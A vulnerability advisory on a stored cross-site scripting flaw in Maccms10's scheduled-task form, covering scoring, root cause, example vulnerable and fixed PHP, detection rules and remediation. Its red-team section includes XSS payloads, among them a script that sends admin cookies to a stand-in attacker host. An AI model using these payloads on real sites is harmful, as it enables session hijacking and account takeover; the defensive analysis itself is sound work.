CVE-2024-46654

Executive Summary

CVE-2024-46654 is a stored cross-site scripting (XSS) vulnerability identified in Maccms10 version v2024.1000.4040. The flaw resides in the Add Scheduled Task module, allowing an authenticated attacker with low privileges to inject arbitrary web scripts or HTML via a crafted payload. When the scheduled task is executed or viewed by an administrator, the malicious script runs in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium) due to the requirement for user interaction and the limited impact on confidentiality and integrity. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (Maccms10) and should be assessed within the context of its deployment environment.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must have a valid account with the ability to create scheduled tasks.
• User Interaction (UI): Required (R) – The victim (e.g., an admin) must view the malicious scheduled task.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored XSS can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The Add Scheduled Task module in Maccms10 allows users to define tasks that run at specified intervals. The vulnerability arises because user-supplied input (e.g., task name, description, or command parameters) is not properly sanitized before being stored in the database and later rendered in the admin panel. An attacker can inject a payload such as:

<script>alert('XSS')</script>

When an administrator views the list of scheduled tasks, the payload executes in their browser. Because the payload is stored, it persists across sessions and can be triggered repeatedly.

Root Cause: Lack of output encoding and input validation in the scheduled task creation form. The application likely uses echo or print without htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common XSS remediation.

Vulnerable Code (PHP):

// In scheduled_task_add.php
$task_name = $_POST['task_name'];
$sql = "INSERT INTO scheduled_tasks (name) VALUES ('$task_name')";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<td>" . $row['name'] . "</td>";

Patched Code (PHP):

// In scheduled_task_add.php
$task_name = htmlspecialchars($_POST['task_name'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO scheduled_tasks (name) VALUES (?)");
$stmt->bind_param("s", $task_name);
$stmt->execute();
// When displaying:
echo "<td>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: A valid low-privilege account on a Maccms10 instance.
2. Craft Payload: Use a standard XSS payload, e.g.:

   <img src=x onerror=alert(document.cookie)>
   

3. Inject Payload: Navigate to the Add Scheduled Task form and enter the payload in the task name or description field.
4. Trigger: Wait for an admin to view the scheduled tasks list, or force a redirect to the admin panel.
5. Impact: Steal session cookies, perform actions as admin, or deface the site.

Example Payload for Session Hijacking:

<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Detection & Hardening)

• Input Validation: Implement strict allowlists for task names (e.g., alphanumeric only).
• Output Encoding: Use htmlspecialchars() or a templating engine (e.g., Twig) that auto-escapes.
• Content Security Policy (CSP): Add a CSP header to block inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self'
  

• Web Application Firewall (WAF): Deploy rules to block common XSS patterns (e.g., <script, onerror).
• Monitor Logs: Look for unusual characters in scheduled task creation logs.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /admin/scheduled_task_add.php containing <script> or onerror patterns.
• File: Database entries in the scheduled_tasks table with HTML/JavaScript in the name or description columns.
• Logs: Application logs showing failed validation attempts or unusual task names.
• Browser: Admin browsers executing unexpected JavaScript (detectable via CSP violation reports).

Detection Engineering

YARA Rule

rule CVE_2024_46654_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Maccms10 scheduled tasks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46654"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in Maccms10 Scheduled Task
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests containing XSS payloads in scheduled task creation
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/admin/scheduled_task_add.php"
        cs-method: "POST"
        cs-uri-query|contains:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in task names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-46654 Stored XSS in Maccms10 Scheduled Task";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/scheduled_task_add.php"; http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-46654;
    priority:2;
)

Remediation & Mitigation

1. Immediate: Disable the Add Scheduled Task module if not required.
2. Short-term: Apply input validation and output encoding as shown in the patched code example.
3. Long-term: Upgrade to a patched version of Maccms10 once available, or migrate to an alternative CMS.
4. Compensating Controls: Deploy a WAF with XSS rules, enforce CSP, and restrict admin panel access via VPN or IP whitelisting.
5. Monitoring: Continuously monitor for XSS attempts using the provided detection rules.

Valters IT